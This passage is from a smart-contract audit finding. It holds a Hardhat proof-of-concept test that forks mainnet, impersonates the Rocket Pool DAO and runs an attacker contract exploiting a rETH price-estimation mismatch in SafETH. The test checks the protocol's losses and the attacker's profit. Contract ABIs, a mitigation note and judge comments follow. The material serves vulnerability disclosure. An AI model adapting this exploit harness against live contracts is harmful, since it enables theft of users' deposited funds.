      await randomStakes(
        safEthProxy.address,
        networkFeesPerAccount,
        totalStakedPerAccount
      );
    });

    it("Simulating rocketDAO deciding to increase the max pool limit", async function () {
      const depositPoolAddress = "0x2cac916b2A963Bf162f076C0a8a4a8200BCFBfb4";
      const depositPool = new ethers.Contract(
        depositPoolAddress,
        rEthDepositPoolAbi,
        adminAccount
      );
      const rocketBalanceStart  = await depositPool.getBalance();
      console.log(`${logPrefix}rocket pool balance:      ${rocketBalanceStart}`);
      
      const rocketStorageAddress = "0x1d8f8f00cfa6758d7bE78336684788Fb0ee0Fa46";
      const rocketStorage = new ethers.Contract(
        rocketStorageAddress,
        rocketStorageAbi,
        adminAccount
      );

      let encodedData = ethers.utils.solidityPack(
        ["string", "string"],
        ["contract.address", "rocketDAOProtocolSettingsDeposit"]
      );
      let hash = ethers.utils.keccak256(encodedData);
      const rocketSettingsDepositAddress = await rocketStorage.getAddress(hash);
      const rocketSettingsDeposit = new ethers.Contract(
        rocketSettingsDepositAddress,
        rocketSettingsDepositAbi,
        adminAccount
      );
      const rocketMaxDepositStart = await rocketSettingsDeposit.getMaximumDepositPoolSize();
      console.log(`${logPrefix}rocket pool max deposit:  ${rocketMaxDepositStart}`);

      encodedData = ethers.utils.solidityPack(
        ["string", "string"],
        ["contract.address", "rocketDAOProtocolProposals"]
      );
      hash = ethers.utils.keccak256(encodedData);
      const rocketDAOPPAddress = await rocketStorage.getAddress(hash);
      const rocketDAOSigner = await ethers.getImpersonatedSigner(rocketDAOPPAddress);
      setBalance(rocketDAOSigner.address, 10n**15n);
      await rocketSettingsDeposit.connect(rocketDAOSigner).setSettingUint("deposit.pool.maximum", rocketMaxDepositStart.add(2000n * 10n**18n));
      console.log(`${logPrefix} increased deposit maximum`);
      const rocketMaxDeposit = await rocketSettingsDeposit.getMaximumDepositPoolSize();
      console.log(`${logPrefix}rocket pool max deposit:  ${rocketMaxDeposit}`);
    });

    it("Collecting information on SafETH's current holdings", async function () {
      safEthHoldingsStart = new Array();
      safEthTotalValueStart = BigNumber.from(0);
      for (let i = 0; i < derivativeCount; i++) {
        const holding = await derivativeContracts[i].balance();
        console.log(`${logPrefix}SafEth contract holds ${holding} of derivative ${i}`);
        safEthHoldingsStart.push(holding);
        const value = (await derivativeContracts[i].ethPerDerivative(10n**18n)).mul(holding).div(10n**18n);
        console.log(`${logPrefix}SafEth holdings of derivative ${i} are est. to be worth ${value.div(10n**15n)} mETH`);
        safEthTotalValueStart = safEthTotalValueStart.add(value);
      }
      console.log(`${logPrefix}SafEth total value estimated to be ${safEthTotalValueStart.div(10n**15n)} mETH`);
    });

    it("Saving how many transactions admin and users have done", async function () {
      adminTransactionsStart = (
        await ethers.provider.getTransactionCount(adminAccount.address)
      );
      userTransactionsStart = new Array();
      for(let i = 0; i < userAccounts.length; i++) {
        userTransactionsStart.push(
          await ethers.provider.getTransactionCount(userAccounts[i].address)
        );
      }
    });
  });
  
  describe("Account setup", function () {
    it("Attacker should have a different account than admin", async function () {
      console.log(`${logPrefix}attacker is ${attackerAccount.address}`);
      expect(adminAccount.address).not.eq(attackerAccount.address);
      attackerBalanceInitial = (await ethers.provider.getBalance(attackerAccount.address));
    });

    it("Attacker should have a different account than users", async function () {
      for(let i = 0; i < userAccounts.length; i++) {
        expect(userAccounts[i].address).not.eq(attackerAccount.address);
      }
    });

    it("Attacker should have a balance of 1 ETH", async function () {
      setBalance(attackerAccount.address, attackerBalanceStart);
      expect(await ethers.provider.getBalance(attackerAccount.address)).eq(attackerBalanceStart)
    });

    it("Attacker trying to call rebalanceToWeights should revert", async function () {
      await expect(safEthProxy.connect(attackerAccount).rebalanceToWeights(
      )).to.be.revertedWith("Ownable: caller is not the owner");
    });

    it("Attacker trying to unstake should revert", async function () {
      await expect(safEthProxy.connect(attackerAccount).unstake(
        1
      )).to.be.revertedWith("ERC20: burn amount exceeds balance");
    });

    it("Attacker should have a SafEth balance of 0", async function () {
      expect(await safEthProxy.connect(attackerAccount).balanceOf(attackerAccount.address)).eq(0);
    });

    it("Saving how many transactions attacker has done", async function () {
      attackerTransactionsStart = (
        await ethers.provider.getTransactionCount(attackerAccount.address)
      );
    });

  });

  describe("Attack", async function () {
    it("Attack ran", async function() {
      await (await ethers.getContractFactory(
        "ShalaamumAttackRethPriceBifurcationDeployer", attackerAccount)).deploy(
          safEthProxy.address,
          {gasLimit: 30n*(10n**6n)}
        );
    });

   it("Attacker used a single transaction", async function () {
      expect(
        await ethers.provider.getTransactionCount(adminAccount.address)
      ).eq(adminTransactionsStart);
      for(let i = 0; i < userAccounts.length; i++) {
        expect(
          await ethers.provider.getTransactionCount(userAccounts[i].address)
        ).eq(userTransactionsStart[i]);
      }
      expect(
        await ethers.provider.getTransactionCount(attackerAccount.address)
      ).eq(attackerTransactionsStart + 1);
    });
  
    it("SafETH holds less now", async function () {
      let safEthHoldingsEnd = new Array();
      let safEthTotalValueEnd = BigNumber.from(0);
      for (let i = 0; i < derivativeCount; i++) {
        const holding = await derivativeContracts[i].balance();
        safEthHoldingsEnd.push(holding);
        let percentLost = safEthHoldingsStart[i].sub(safEthHoldingsEnd[i]).mul(100).div(safEthHoldingsStart[i]);
        console.log(`${logPrefix}SafEth contract holds ${percentLost}% less of derivative ${i}`);
        let value = (await derivativeContracts[i].ethPerDerivative(10n**18n)).mul(holding).div(10n**18n);
        safEthTotalValueEnd = safEthTotalValueEnd.add(value);
      }
      console.log(`${logPrefix}SafEth total value estimated to be ${safEthTotalValueEnd.div(10n**18n)} ETH`);
      console.log(`${logPrefix}This is down from ${safEthTotalValueStart.div(10n**18n)} ETH`);
      let percentLost = safEthTotalValueStart.sub(safEthTotalValueEnd).mul(100).div(safEthTotalValueStart);
      console.log(`${logPrefix}So value is down ${percentLost}%`);
      expect(percentLost).gt(0);
    });

    it("Attacker made profit", async function () {
      let balanceAttacker = await ethers.provider.getBalance(attackerAccount.address);
      expect(balanceAttacker).gt(attackerBalanceStart);
      let profitEth = balanceAttacker.sub(attackerBalanceStart).div(10n**18n);
      console.log(`${logPrefix}Attacker made a profit of ${profitEth} ETH`);
    });
  });
});
test/abi/rocketSettingsDepositAbi.ts
export const rocketSettingsDepositAbi = [{"inputs":[{"internalType":"contract RocketStorageInterface","name":"_rocketStorageAddress","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"getAssignDepositsEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getDepositEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getMaximumDepositAssignments","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getMaximumDepositPoolSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getMinimumDeposit","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"_settingPath","type":"string"}],"name":"getSettingAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"_settingPath","type":"string"}],"name":"getSettingBool","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"_settingPath","type":"string"}],"name":"getSettingUint","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"_settingPath","type":"string"},{"internalType":"address","name":"_value","type":"address"}],"name":"setSettingAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"_settingPath","type":"string"},{"internalType":"bool","name":"_value","type":"bool"}],"name":"setSettingBool","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"_settingPath","type":"string"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"setSettingUint","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"version","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"}]
test/abi/rocketStorageAbi.ts
export const rocketStorageAbi = [{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"oldGuardian","type":"address"},{"indexed":false,"internalType":"address","name":"newGuardian","type":"address"}],"name":"GuardianChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"node","type":"address"},{"indexed":true,"internalType":"address","name":"withdrawalAddress","type":"address"},{"indexed":false,"internalType":"uint256","name":"time","type":"uint256"}],"name":"NodeWithdrawalAddressSet","type":"event"},{"inputs":[{"internalType":"bytes32","name":"_key","type":"bytes32"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"addUint","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"confirmGuardian","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_nodeAddress","type":"address"}],"name":"confirmWithdrawalAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"_key","type":"bytes32"}],"name":"deleteAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"_key","type":"bytes32"}],"name":"deleteBool","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"_key","type":"bytes32"}],"name":"deleteBytes","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"_key","type":"bytes32"}],"name":"deleteBytes32","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"_key","type":"bytes32"}],"name":"deleteInt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"_key","type":"bytes32"}],"name":"deleteString","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"_key","type":"bytes32"}],"name":"deleteUint","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"_key","type":"bytes32"}],"name":"getAddress","outputs":[{"internalType":"address","name":"r","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"_key","type":"bytes32"}],"name":"getBool","outputs":[{"internalType":"bool","name":"r","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"_key","type":"bytes32"}],"name":"getBytes","outputs":[{"internalType":"bytes","name":"","type":"bytes"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"_key","type":"bytes32"}],"name":"getBytes32","outputs":[{"internalType":"bytes32","name":"r","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getDeployedStatus","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getGuardian","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"_key","type":"bytes32"}],"name":"getInt","outputs":[{"internalType":"int256","name":"r","type":"int256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_nodeAddress","type":"address"}],"name":"getNodePendingWithdrawalAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_nodeAddress","type":"address"}],"name":"getNodeWithdrawalAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"_key","type":"bytes32"}],"name":"getString","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"_key","type":"bytes32"}],"name":"getUint","outputs":[{"internalType":"uint256","name":"r","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"_key","type":"bytes32"},{"internalType":"address","name":"_value","type":"address"}],"name":"setAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"_key","type":"bytes32"},{"internalType":"bool","name":"_value","type":"bool"}],"name":"setBool","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"_key","type":"bytes32"},{"internalType":"bytes","name":"_value","type":"bytes"}],"name":"setBytes","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"_key","type":"bytes32"},{"internalType":"bytes32","name":"_value","type":"bytes32"}],"name":"setBytes32","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"setDeployedStatus","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_newAddress","type":"address"}],"name":"setGuardian","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"_key","type":"bytes32"},{"internalType":"int256","name":"_value","type":"int256"}],"name":"setInt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"_key","type":"bytes32"},{"internalType":"string","name":"_value","type":"string"}],"name":"setString","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"_key","type":"bytes32"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"setUint","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_nodeAddress","type":"address"},{"internalType":"address","name":"_newWithdrawalAddress","type":"address"},{"internalType":"bool","name":"_confirm","type":"bool"}],"name":"setWithdrawalAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"_key","type":"bytes32"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"subUint","outputs":[],"stateMutability":"nonpayable","type":"function"}]

Prevent price estimation bifurcation by ensuring that in stake, both calls to ethPerDerivative for Reth as well as the call to deposit use either all the Uniswap pool or all the rocket pool. Thus what should be passed to ethPerDerivative in both calls is the ethAmount for the respective derivative.

#0 - c4-pre-sort

2023-04-04T18:47:09Z

0xSorryNotSorry marked the issue as primary issue

#1 - c4-sponsor

2023-04-07T14:29:37Z

toshiSat marked the issue as sponsor confirmed

#2 - c4-judge

2023-04-21T14:27:15Z

Picodes marked the issue as duplicate of #1125

#3 - c4-judge

2023-04-21T14:27:20Z

Picodes marked the issue as satisfactory

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax © 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter